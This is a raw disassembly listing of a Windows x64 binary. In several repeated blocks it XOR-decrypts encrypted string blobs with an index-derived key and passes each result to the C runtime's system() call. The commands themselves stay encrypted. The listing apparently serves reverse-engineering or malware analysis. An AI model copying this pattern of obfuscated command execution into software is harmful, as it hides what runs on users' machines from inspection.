lea r9, [rbp - 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x94
jl 0x140060940
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140101e00]
mov r8d, r14d
movups xmm1, xmmword [0x140101e10]
mov eax, dword [0x140101e90]
movups xmmword [rbp - 0x80], xmm0
movups xmm0, xmmword [0x140101e20]
movups xmmword [rbp - 0x60], xmm0
movups xmm0, xmmword [0x140101e40]
movups xmmword [rbp - 0x70], xmm1
movups xmm1, xmmword [0x140101e30]
movups xmmword [rbp - 0x40], xmm0
movups xmm0, xmmword [0x140101e60]
movups xmmword [rbp - 0x50], xmm1
movups xmm1, xmmword [0x140101e50]
movups xmmword [rbp - 0x20], xmm0
movups xmm0, xmmword [0x140101e80]
movups xmmword [rbp - 0x30], xmm1
movups xmm1, xmmword [0x140101e70]
mov dword [rbp + 0x10], eax
movzx eax, word [0x140101e94]
movups xmmword [rbp], xmm0
movups xmmword [rbp - 0x10], xmm1
mov word [rbp + 0x14], ax
cmp r13d, 2
jl 0x140060b4d
movdqa xmm0, xmmword [str.1111111111111111]
lea rcx, [rbp - 0x7c]
movdqa xmm5, xmmword [0x1400c0550]
movdqa xmm4, xmmword [0x140103f20]
movdqa xmm6, xmmword [0x140103df0]
movdqa xmmword [rbp + 0x300], xmm0
mov edx, dword [rbp + 0x300]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x90
jl 0x140060a40
cmp r8d, 0x96
jge 0x140060b94
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x96
jl 0x140060b60
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140101ea0]
mov r8d, r14d
movups xmm1, xmmword [0x140101eb0]
mov eax, dword [0x140101f30]
movups xmmword [rbp - 0x80], xmm0
movups xmm0, xmmword [0x140101ec0]
movups xmmword [rbp - 0x60], xmm0
movups xmm0, xmmword [0x140101ee0]
movups xmmword [rbp - 0x70], xmm1
movups xmm1, xmmword [0x140101ed0]
movups xmmword [rbp - 0x40], xmm0
movups xmm0, xmmword [0x140101f00]
movups xmmword [rbp - 0x50], xmm1
movups xmm1, xmmword [0x140101ef0]
movups xmmword [rbp - 0x20], xmm0
movups xmm0, xmmword [0x140101f20]
movups xmmword [rbp - 0x30], xmm1
movups xmm1, xmmword [0x140101f10]
mov dword [rbp + 0x10], eax
movzx eax, word [0x140101f34]
movups xmmword [rbp], xmm0
movups xmmword [rbp - 0x10], xmm1
mov word [rbp + 0x14], ax
cmp r13d, 2
jl 0x140060d6d
movdqa xmm0, xmmword [str.1111111111111111]
lea rcx, [rbp - 0x7c]
movdqa xmm5, xmmword [0x1400c0550]
movdqa xmm4, xmmword [0x140103f20]
movdqa xmm6, xmmword [0x140103df0]
movdqa xmmword [rbp + 0x300], xmm0
mov edx, dword [rbp + 0x300]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x90
jl 0x140060c60
cmp r8d, 0x96
jge 0x140060db4
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x96
jl 0x140060d80
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140101f40]
mov r8d, r14d
movups xmm1, xmmword [0x140101f50]
mov eax, dword [0x140101fc0]
movups xmmword [rbp - 0x80], xmm0
movups xmm0, xmmword [0x140101f60]
movups xmmword [rbp - 0x70], xmm1
movups xmm1, xmmword [0x140101f70]
movups xmmword [rbp - 0x60], xmm0
movups xmm0, xmmword [0x140101f80]
movups xmmword [rbp - 0x50], xmm1
movups xmm1, xmmword [0x140101f90]
movups xmmword [rbp - 0x40], xmm0
movups xmm0, xmmword [0x140101fa0]
movups xmmword [rbp - 0x30], xmm1
movups xmm1, xmmword [0x140101fb0]
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm1
mov dword [rbp], eax
cmp r13d, 2
jl 0x140060f6d
movdqa xmm0, xmmword [str.1111111111111111]
lea rcx, [rbp - 0x7c]
movdqa xmm5, xmmword [0x1400c0550]
movdqa xmm4, xmmword [0x140103f20]
movdqa xmm6, xmmword [0x140103df0]
movdqa xmmword [rbp + 0x300], xmm0
mov edx, dword [rbp + 0x300]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x80
jl 0x140060e60
cmp r8d, 0x84
jge 0x140060fb4
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x84
jl 0x140060f80
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140101fd0]
mov r8d, r14d
movups xmm1, xmmword [0x140101fe0]
mov eax, dword [0x140102048]
movups xmmword [rbp - 0x80], xmm0
movups xmm0, xmmword [0x140101ff0]
movups xmmword [rbp - 0x60], xmm0
movups xmm0, xmmword [0x140102010]
movups xmmword [rbp - 0x40], xmm0
movups xmm0, xmmword [0x140102030]
movups xmmword [rbp - 0x70], xmm1
movups xmm1, xmmword [0x140102000]
movups xmmword [rbp - 0x20], xmm0
movsd xmm0, qword [0x140102040]
movups xmmword [rbp - 0x50], xmm1
movups xmm1, xmmword [0x140102020]
mov dword [rbp - 8], eax
movzx eax, byte [0x14010204c]
movsd qword [rbp - 0x10], xmm0
movups xmmword [rbp - 0x30], xmm1
mov byte [rbp - 4], al
cmp r13d, 2
jl 0x140061177
movdqa xmm0, xmmword [str.1111111111111111]
lea rcx, [rbp - 0x7c]
movdqa xmm5, xmmword [0x1400c0550]
movdqa xmm4, xmmword [0x140103f20]
movdqa xmm6, xmmword [0x140103df0]
movdqa xmmword [rbp + 0x300], xmm0
mov edx, dword [rbp + 0x300]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x78
jl 0x140061070
cmp r8d, 0x7d
jge 0x1400611b2
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x7d
jl 0x140061181
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140102050]
mov r8d, r14d
movups xmm1, xmmword [0x140102060]
movzx eax, byte [0x1401020c8]
movups xmmword [rbp - 0x80], xmm0
movups xmm0, xmmword [0x140102070]
movups xmmword [rbp - 0x60], xmm0
movups xmm0, xmmword [0x140102090]
movups xmmword [rbp - 0x40], xmm0
movups xmm0, xmmword [0x1401020b0]
movups xmmword [rbp - 0x70], xmm1
movups xmm1, xmmword [0x140102080]
movups xmmword [rbp - 0x20], xmm0
movsd xmm0, qword [0x1401020c0]
movups xmmword [rbp - 0x50], xmm1
movups xmm1, xmmword [0x1401020a0]
movsd qword [rbp - 0x10], xmm0
movups xmmword [rbp - 0x30], xmm1
mov byte [rbp - 8], al
cmp r13d, 2
jl 0x140061367
movdqa xmm0, xmmword [str.1111111111111111]
lea rcx, [rbp - 0x7c]
movdqa xmm5, xmmword [0x1400c0550]
movdqa xmm4, xmmword [0x140103f20]
movdqa xmm6, xmmword [0x140103df0]
movdqa xmmword [rbp + 0x300], xmm0
mov edx, dword [rbp + 0x300]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x78
jl 0x140061260
cmp r8d, 0x79
jge 0x1400613a2
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x79
jl 0x140061371
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1401020d0]
movups xmm1, xmmword [0x1401020e0]
movups xmmword [rbp - 0x80], xmm0
movups xmm0, xmmword [0x1401020f0]
movups xmmword [rbp - 0x60], xmm0
movups xmm0, xmmword [0x140102110]
movups xmmword [rbp - 0x70], xmm1
movups xmm1, xmmword [0x140102100]
movups xmmword [rbp - 0x40], xmm0
movups xmm0, xmmword [0x140102130]
movups xmmword [rbp - 0x50], xmm1
movups xmm1, xmmword [0x140102120]
movups xmmword [rbp - 0x20], xmm0
movsd xmm0, qword [0x140102150]
movups xmmword [rbp - 0x30], xmm1
movups xmm1, xmmword [0x140102140]
movsd qword [rbp], xmm0
movups xmmword [rbp - 0x10], xmm1
cmp r13d, 2
jl 0x140061564
movdqa xmm0, xmmword [str.1111111111111111]
lea rcx, [rbp - 0x7c]
movdqa xmm5, xmmword [0x1400c0550]
mov edx, r14d
movdqa xmm4, xmmword [0x140103f20]
movdqa xmm6, xmmword [0x140103df0]
movdqa xmmword [rbp + 0x300], xmm0
mov r8d, dword [rbp + 0x300]
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x88
jl 0x140061460
jmp 0x1400615a4
lea r9, [rbp - 0x80]
mov r8d, r14d
nop dword [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x88
jl 0x140061570
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140102160]
mov r8d, r14d
movups xmm1, xmmword [0x140102170]
movzx eax, word [0x1401021f0]
movups xmmword [rbp - 0x80], xmm0
movups xmm0, xmmword [0x140102180]
movups xmmword [rbp - 0x60], xmm0
movups xmm0, xmmword [0x1401021a0]
movups xmmword [rbp - 0x70], xmm1
movups xmm1, xmmword [0x140102190]
movups xmmword [rbp - 0x40], xmm0
movups xmm0, xmmword [0x1401021c0]
movups xmmword [rbp - 0x50], xmm1
movups xmm1, xmmword [0x1401021b0]
movups xmmword [rbp - 0x20], xmm0
movups xmm0, xmmword [0x1401021e0]
movups xmmword [rbp - 0x30], xmm1
movups xmm1, xmmword [0x1401021d0]
mov word [rbp + 0x10], ax
movzx eax, byte [0x1401021f2]
movups xmmword [rbp], xmm0
movups xmmword [rbp - 0x10], xmm1
mov byte [rbp + 0x12], al
cmp r13d, 2
jl 0x14006177d
movdqa xmm0, xmmword [str.1111111111111111]
lea rcx, [rbp - 0x7c]
movdqa xmm5, xmmword [0x1400c0550]
movdqa xmm4, xmmword [0x140103f20]
movdqa xmm6, xmmword [0x140103df0]
movdqa xmmword [rbp + 0x300], xmm0
mov edx, dword [rbp + 0x300]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x90
jl 0x140061670
cmp r8d, 0x93
jge 0x1400617c4
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x93
jl 0x140061790
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x140102200]
mov r8d, r14d
movups xmm1, xmmword [0x140102210]
movzx eax, word [0x140102298]
movups xmmword [rbp - 0x80], xmm0
movups xmm0, xmmword [str.___7164_ae11]
movups xmmword [rbp - 0x60], xmm0
movups xmm0, xmmword [0x140102240]
movups xmmword [rbp - 0x40], xmm0
movups xmm0, xmmword [0x140102260]
movups xmmword [rbp - 0x70], xmm1
movups xmm1, xmmword [str._r___v5]
movups xmmword [rbp - 0x20], xmm0
movups xmm0, xmmword [0x140102280]
movups xmmword [rbp - 0x50], xmm1
movups xmm1, xmmword [0x140102250]
movups xmmword [rbp], xmm0
movsd xmm0, qword [0x140102290]
movups xmmword [rbp - 0x30], xmm1
movups xmm1, xmmword [0x140102270]
movsd qword [rbp + 0x10], xmm0
movups xmmword [rbp - 0x10], xmm1
mov word [rbp + 0x18], ax
cmp r13d, 2
jl 0x14006199d
movdqa xmm0, xmmword [str.1111111111111111]
lea rcx, [rbp - 0x7c]
movdqa xmm5, xmmword [0x1400c0550]
movdqa xmm4, xmmword [0x140103f20]
movdqa xmm6, xmmword [0x140103df0]
movdqa xmmword [rbp + 0x300], xmm0
mov edx, dword [rbp + 0x300]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140103e00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x98
jl 0x140061890
cmp r8d, 0x9a
jge 0x1400619e4
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x9a
jl 0x1400619b0
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rax, [r12 + 0x1022a0]
mov r8d, r14d
lea rcx, [rbp - 0x80]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x20], xmm0
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx - 0x10], xmm1
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0xb0]
movzx eax, word [rax + 0xc0]
movups xmmword [rcx + 0x20], xmm0
movups xmmword [rcx + 0x30], xmm1
mov word [rcx + 0x40], ax
cmp r13d, 2
jl 0x140061bcd
movdqa xmm0, xmmword [str.1111111111111111]
lea rcx, [rbp - 0x7c]
movdqa xmm5, xmmword [0x1400c0550]
movdqa xmm4, xmmword [0x140103f20]
movdqa xmm6, xmmword [0x140103df0]
movdqa xmmword [rbp + 0x300], xmm0
mov edx, dword [rbp + 0x300]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
